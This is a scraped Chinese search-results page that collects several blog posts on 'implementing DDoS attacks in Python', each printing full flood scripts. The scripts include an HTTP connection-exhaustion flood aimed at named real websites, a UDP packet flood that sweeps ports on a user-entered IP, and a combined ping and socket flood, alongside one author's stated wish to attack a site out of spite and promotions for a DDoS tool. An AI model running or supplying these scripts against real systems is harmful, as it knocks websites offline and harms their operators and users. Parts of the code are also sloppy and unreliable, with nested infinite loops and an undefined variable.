精华内容
下载资源
问答
  • 主要给大家介绍了关于Python实现DDos攻击的相关资料,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
  • Python实现DDOS攻击脚本

    千次阅读 2019-07-12 14:39:38
    本人曾经遇到过一个网站,进行了ddos防护,让我的爬虫抓取了50条就挂掉了,这促使我要搞一个pythonddos脚本去攻击这个网站解解恨。但总的思想很简单,就是对构建多个socket链接后,并且每个socket对这个网站无限的...

    本人曾经遇到过一个网站,进行了ddos防护,让我的爬虫抓取了50条就挂掉了,这促使我要搞一个python的ddos脚本去攻击这个网站解解恨。但总的思想很简单,就是对构建多个socket链接后,并且每个socket对这个网站无限的发送信息,做一个死循环,疯狂攻击。以起到占用他们网站资源链接的效果。

    #!/usr/bin/env python
    import socket
    import time
    import threading
    
    # Pressure Test,ddos tool
    # ---------------------------
    MAX_CONN = 200000    # 最大socket链接量
    PORT = 80			
    HOST = "www.ssyer.com"
    PAGE = "/photography"
    # ---------------------------
    
                                 我还整理了更多免费的Python学习资料
    
                                             688244617
    
                                      你们自己看需要什么 来拿吧 免费
    
    
    buf = ("POST %s HTTP/1.1\r\n"
           "Host: %s\r\n"
           "Content-Length: 10000000\r\n"
           "Cookie: dklkt_dos_test\r\n"
           "\r\n" % (PAGE, HOST))
    
    # 创建socket链接列表,存储上20万个socket
    socks = []
    # 循环创建socket链接
    def conn_thread():
        global socks
        for i in range(0, MAX_CONN):
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            try:
                s.connect((HOST, PORT))
                s.send(buf.encode("utf-8"))
                print("Send buf OK!,conn=%d\n" % i)
                socks.append(s)
            except Exception as ex:
                print("Could not connect to server or send error:%s" % ex)
                time.sleep(1)
    
    
    # socket循环对目标网站发数据
    def send_thread():
        global socks
        while True:
            for s in socks:
                try:
                    s.send("f".encode("utf-8"))
                    print("send f OK!")
                except Exception as ex:
                    print("Send Exception:%s\n" % ex)
                    socks.remove(s)
                    s.close()
            time.sleep(0.1)
    
    # 多线程执行两个函数
    conn_th = threading.Thread(target=conn_thread, args=())
    send_th = threading.Thread(target=send_thread, args=())
    
    conn_th.start()
    send_th.start()
    --------------------- 
    

    在这里插入图片描述

    展开全文
  • Python实现DDOS攻击

    千次阅读 2019-08-25 11:46:34
    Socket 套接字(socket)是一个抽象层,应用程序可以通过它发送或接收数据,可对其进行像对文件一样的...使用Python socket自带库发送数据包 import socket #一句话导入socket库 import random #下面要构建数...

    Socket

    套接字(socket)是一个抽象层,应用程序可以通过它发送或接收数据,可对其进行像对文件一样的打开、读写和关闭等操作。套接字允许应用程序将I/O插入到网络中,并与网络中的其他应用程序进行通信。网络套接字是IP地址与端口的组合。


    使用Python socket自带库发送数据包

    import socket #一句话导入socket库

    import random #下面要构建数据包

    下面建立一个和目标的socket通讯:

    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

    里面的socket.AF_INET和socket.SOCK_DGRAM是什么意思自己百度。

    下来byte = random._urandom(1490) #构建数据包,里面的数据填别的我没啥意见:)

    然后发送数据包:

    sock.sendto(byte, ("目标IP地址",int(目标端口)))

    譬如sock.sendto(byte, ("111.73.29.148",520)),就是给111.73.29.148这个IP的520端口发包(某队友作死让我日他)。

    这里就完成了一次包发送,下面就和SYN泛洪攻击一样,加一个循环,稍加装饰,就是一个完整的DDOS脚本了。


    以下是完整的,我“装饰”过了的脚本:

    #coding: utf8
    
    print("Initializing...\n")
    import socket
    import random
    
    #构建socket通讯
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    
    #构建字节数据包
    byte = random._urandom(1490)
    
    try:
        ip = raw_input("IP Dress: ")
        port = raw_input("Port(Leave a blank to attack all of the ports): ")
    except:
        ip = input("IP Dress: ")
        port = input("Port(Leave a blank to attack all of the ports): ")
    
    if port == "":
        port = 1
        re = True
    else:
        port = int(port)
        re = False
    
    sent = 0
    
    while True:
        sock.sendto(byte, (ip,port))
        sent = sent + 1
        print "Sent %s packet to %s throught port %s." % (str(sent),ip,str(port))
    
        if re:
              port = port + 1
        else:
              pass
    
        if port == 65534:
              port = 1

    这里附上编译好的,更加完整的HFDDOS工具,由中国秦川联盟网络安全部氢氟安全组研发。

    推广:中国秦川联盟

    展开全文
  • 首先说一下dos和ddos的区别: DoS:是Denial of Service的简称,即拒绝服务,造成DoS的攻击行为被称为DoS攻击,其目的是使计算机或网络无法提供正常的服务。最常见的DoS攻击有计算机网络带宽攻击和连通性攻击。 ...

    首先说一下dos和ddos的区别:

    DoS:是Denial of Service的简称,即拒绝服务,造成DoS的攻击行为被称为DoS攻击,其目的是使计算机或网络无法提供正常的服务。最常见的DoS攻击有计算机网络带宽攻击和连通性攻击。

    DDOS:分布式拒绝服务(DDoS:Distributed Denial of Service)攻击指借助于客户/服务器技术,将多个计算机联合起来作为攻击平台,对一个或多个目标发动DDoS攻击,从而成倍地提高威力。

    详细解释以下dos攻击原理:

    举一个最通俗的例子,下面的图片是TCP的通信的三次握手,如果说攻击端,发送完第一次握手的数据后,然后就“消失”了,那么服务器就会不断的发送第二次握手的数据,可是攻击端的人找不到了。于是,服务器的资源大量被消耗,直到死机为止。当然要完全弄懂机制,需要对TCP有相当深入的了解。

    计算机网络会学到TCP三次握手,不理解的可以去百度,深入理解一下原理。

    DDOS就是分布式拒绝服务攻击,将多个计算机联合起来,同时发动攻击。

    上一段疯狂ping和socker链接的代码

    import socket
    import time
    import threading
    #Pressure Test,ddos tool
    
    #---------------------------
    MAX_CONN=20000
    PORT=80
    HOST="目标地址"
    PAGE="/index.php"
    #---------------------------
    
    buf=("POST %s HTTP/1.1\r\n"
    "Host: %s\r\n"
    "Content-Length: 10000000\r\n"
    "Cookie: dklkt_dos_test\r\n"
    "\r\n" % (PAGE,HOST))
    import os
    os.system("ping -n 100 -l 100 " + HOST)
    socks=[]
    def ddos():
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        while 1:
            s.connect((HOST,PORT))
            s.send(buf.encode())
            s.send(buf.encode())
            s.send(buf.encode())
    
    def conn_thread():
        global socks
        for i in range(0,MAX_CONN):
            s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
            try:
                s.connect((HOST,PORT))
                s.send(buf.encode())
                s.send(buf.encode())
                s.send(buf.encode())
                print ("Send buf OK!,conn=%d\n"%i)
                socks.append(s)
            except Exception as ex:
                print ("Could not connect to server or send error:%s"%ex)
                time.sleep(0.1)
    #end def
    
    def send_thread():
        global socks
        while True:
            for s in socks:
                try:
                    s.send("f".encode())
                    #print "send OK!"
                except Exception as ex:
                    print ("Send Exception:%s\n"%ex)
                    socks.remove(s)
                    s.close()
            time.sleep(0.1)
    #end def
    
    conn_th=threading.Thread(target=conn_thread,args=())
    send_th=threading.Thread(target=send_thread,args=())
    
    conn_th.start()
    send_th.start()
    ddos()
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    while 1:
        s.connect((HOST,PORT))
        s.send(buf.encode())
        s.send(buf.encode())
        s.send(buf.encode())
        print ("Send buf OK!,conn=%d\n"%i)
        while 1:
            s.connect((HOST,PORT))
            s.send(buf.encode())
            s.send(buf.encode())
            s.send(buf.encode())
            print ("Send buf OK!,conn=%d\n"%i)
            while 1:
                s.connect((HOST,PORT))
                s.send(buf.encode())
                s.send(buf.encode())
                s.send(buf.encode())
                print ("Send buf OK!,conn=%d\n"%i)
                while 1:
                    s.connect((HOST,PORT))
                    s.send(buf.encode())
                    s.send(buf.encode())
                    s.send(buf.encode())
                    print ("Send buf OK!,conn=%d\n"%i)
                    while 1:
                        s.connect((HOST,PORT))
                        s.send(buf.encode())
                        s.send(buf.encode())
                        s.send(buf.encode())
                        print ("Send buf OK!,conn=%d\n"%i)
                        while 1:
                                s.connect((HOST,PORT))
                                s.send(buf.encode())
                                s.send(buf.encode())
                                s.send(buf.encode())
                                print ("Send buf OK!,conn=%d\n"%i)
    
    
    

    可以自己用自己的虚拟机当作肉鸡自己玩玩,不要恶意攻击。

    展开全文
  • Python3.7实现DDoS

    2020-03-02 21:11:20
    #Pressure Test,ddos tool #--------------------------- MAX_CONN=20000 PORT=80 HOST="baidu.com"#在双引号里输入对方IP或域名,要保证他联网了或开机了,这里拿百度做示范(别运行!不然后果自负!!) PAGE="/...
    import socket
    import time
    import threading
    #Pressure Test,ddos tool
    
    #---------------------------
    MAX_CONN=20000
    PORT=80
    HOST="baidu.com"#在双引号里输入对方IP或域名,要保证他联网了或开机了,这里拿百度做示范(别运行!不然后果自负!!)
    PAGE="/index.php"
    #---------------------------
    
    buf=("POST %s HTTP/1.1\r\n"
    "Host: %s\r\n"
    "Content-Length: 10000000\r\n"
    "Cookie: dklkt_dos_test\r\n"
    "\r\n" % (PAGE,HOST))
     
    socks=[]
     
    def conn_thread():
        global socks
        for i in range(0,MAX_CONN):
            s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
            try:
                s.connect((HOST,PORT))
                s.send(buf.encode())
                print ("Send buf OK!,conn=%d\n"%i)
                socks.append(s)
            except Exception as ex:
                print ("Could not connect to server or send error:%s"%ex)
                time.sleep(10)
    #end def
     
    def send_thread():
        global socks
        while True:
            for s in socks:
                try:
                    s.send("f".encode())
                    #print "send OK!"
                except Exception as ex:
                    print ("Send Exception:%s\n"%ex)
                    socks.remove(s)
                    s.close()
            time.sleep(1)
    #end def
     
    conn_th=threading.Thread(target=conn_thread,args=())
    send_th=threading.Thread(target=send_thread,args=())
     
    conn_th.start()
    send_th.start()
    
    
    
    import socket
    import time
    import threading
    #Pressure Test,ddos tool
    
    #---------------------------
    MAX_CONN=20000
    PORT=80
    HOST="zhutiantuanfuwuqi.icoc.bz"#在双引号里输入对方IP或域名,要保证他联网了或开机了.
    PAGE="/index.php"
    #---------------------------
    
    buf=("POST %s HTTP/1.1\r\n"
    "Host: %s\r\n"
    "Content-Length: 10000000\r\n"
    "Cookie: dklkt_dos_test\r\n"
    "\r\n" % (PAGE,HOST))
    import os
    os.system("ping -n 100 -l 100 " + HOST)
    socks=[]
    def ddos():
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        while 1:
            s.connect((HOST,PORT))
            s.send(buf.encode())
            s.send(buf.encode())
            s.send(buf.encode())
    
    def conn_thread():
        global socks
        for i in range(0,MAX_CONN):
            s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
            try:
                s.connect((HOST,PORT))
                s.send(buf.encode())
                s.send(buf.encode())
                s.send(buf.encode())
                print ("Send buf OK!,conn=%d\n"%i)
                socks.append(s)
            except Exception as ex:
                print ("Could not connect to server or send error:%s"%ex)
                time.sleep(0.1)
    #end def
     
    def send_thread():
        global socks
        while True:
            for s in socks:
                try:
                    s.send("f".encode())
                    #print "send OK!"
                except Exception as ex:
                    print ("Send Exception:%s\n"%ex)
                    socks.remove(s)
                    s.close()
            time.sleep(0.1)
    #end def
     
    conn_th=threading.Thread(target=conn_thread,args=())
    send_th=threading.Thread(target=send_thread,args=())
     
    conn_th.start()
    send_th.start()
    ddos()
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    while 1:
        s.connect((HOST,PORT))
        s.send(buf.encode())
        s.send(buf.encode())
        s.send(buf.encode())
        print ("Send buf OK!,conn=%d\n"%i)
        while 1:
            s.connect((HOST,PORT))
            s.send(buf.encode())
            s.send(buf.encode())
            s.send(buf.encode())
            print ("Send buf OK!,conn=%d\n"%i)
            while 1:
                s.connect((HOST,PORT))
                s.send(buf.encode())
                s.send(buf.encode())
                s.send(buf.encode())
                print ("Send buf OK!,conn=%d\n"%i)
                while 1:
                    s.connect((HOST,PORT))
                    s.send(buf.encode())
                    s.send(buf.encode())
                    s.send(buf.encode())
                    print ("Send buf OK!,conn=%d\n"%i)
                    while 1:
                        s.connect((HOST,PORT))
                        s.send(buf.encode())
                        s.send(buf.encode())
                        s.send(buf.encode())
                        print ("Send buf OK!,conn=%d\n"%i)
                        while 1:
                                s.connect((HOST,PORT))
                                s.send(buf.encode())
                                s.send(buf.encode())
                                s.send(buf.encode())
                                print ("Send buf OK!,conn=%d\n"%i)
    
    

     

    展开全文
  • 基于python实现DDoS

    千次阅读 2018-03-19 10:10:47
    整合网络僵尸和DoS攻击DDoS 一个简单的网络僵尸程序下面是一个简单的网络僵尸程序,先通过添加n个客户端的ip和登录账户密码,然后操控这些客户端发动对同一个目标ping的指令。如果有上网个分布在不同地区的客户端
  • python实现的防DDoS脚本

    2021-01-21 17:30:18
    这篇博可以说连开场白都可以省掉了,之所以被DDoS,并不是因为惹了疯狗被追着咬,而是因为VC悲剧之后流量全到simplecd来了。 不仅如此,一些笨蛋们在抓站,一些笨蛋们在用迅雷下载,100Mbps的端口居然已经满负荷运作...
  • python ddos 攻击源码

    2018-06-28 09:31:22
    python 2实现ddos攻击源码,基于socket的实时攻击,大流量
  • 结合Socket实现DDoS攻击

    千次阅读 2017-12-28 11:39:54
    通过上一节实验的SYN泛洪攻击结合Socket实现DDoS攻击。 2. 开发环境 Ubuntu LinuxPython 3.x版本 3. 知识点 本次实验将涉及以下知识点: argparse 命令解析socket的基本用法 4. 效果图 ...
  • 一、实验说明 1.1 实验介绍 ...通过上一节实验的SYN泛洪攻击结合Socket实现DDoS攻击。 1.2 开发环境 Ubuntu Linux Python 3.x版本 1.3 知识点 本次实验将涉及以下知识点: argparse 命令解析 socket...
  • 数据包分析二、使用python库进行流量特征提取1.下载scapy库2.scapy库的使用3.csv库的使用(数据写入.csv文件)4.流量特征提取三、机器学习建立流量监测器模型2.读入数据总结 前言 提示:这里可以添加本文要记录的...
  • Python实现SYN Flood攻击

    千次阅读 2015-11-24 20:47:38
    SYN Flood是当前最流行的DoS(拒绝服务攻击)与DDoS(分布式拒绝服务攻击)的方式之一,这是一种利用TCP协议缺陷,发送大量伪造的TCP连接请求,从而使得被攻击方资源耗尽(CPU满负荷或内存不足)的攻击方式。...
  • 利用python代码,拦截ddos攻击

    千次阅读 2018-08-21 17:37:04
    头痛,于是研究了一天,利用python写了一个脚本,通过nginx访问日志提取大量请求的ip,然后加入黑名单,禁止访问。 具体代码如下: 代码还有很多优化的地方,后续慢慢优化,基本功能已经实现。 # -*- coding: utf...
  • 利用BPF(Berkeley Packet Filter)工具集结合iptables的xt_bpf模块可以实现高性能包过滤,从而应对大规模的ddos攻击。BPF Tools包含一组简单的python脚本,一部分用于分析pcap文件,其它主要用于生成bpf字节码。 ...

空空如也

空空如也

1 2 3
收藏数 50
精华内容 20
关键字:

python实现ddos

python 订阅